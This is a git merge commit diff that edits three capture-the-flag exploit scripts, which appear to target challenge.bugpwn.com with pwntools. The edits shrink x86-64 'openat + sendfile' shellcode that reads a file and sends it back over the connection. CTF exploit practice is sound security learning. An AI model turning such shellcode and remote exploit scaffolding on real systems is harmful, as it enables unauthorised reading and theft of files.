Merge remote-tracking branch 'refs/remotes/origin/main'

2024-10-24 21:02:36 +03:00
parent 9befef262f 24121c97b3
commit 14d5351f4b
3 changed files with 8 additions and 8 deletions
@@ -26,9 +26,9 @@ r.sendlineafter(b": ", buf)

 # openat + sendfile
 shellcode="""
-lea rsi, [rdx+38]
+lea rsi, [rdx+37]
 mov edi, -100
-xor rdx, rdx
+cqo
 xor r10, r10
 add ax, 257
 syscall
@@ -8,8 +8,8 @@ r = remote("challenge.bugpwn.com", 1004)

 # openat + sendfile
 shellcode="""
-lea rsi, [rdx+30]
-xor rdx, rdx
+lea rsi, [rdx+29]
+cqo
 xor r10, r10
 add ax, 257
 syscall
@@ -14,7 +14,7 @@ add r9, 0x4500
 mov r15, 0x2f
 push r15
 lea rsi, [rsp]
-xor rdx, rdx
+cqo
 xor r10, r10
 add ax, 257
 syscall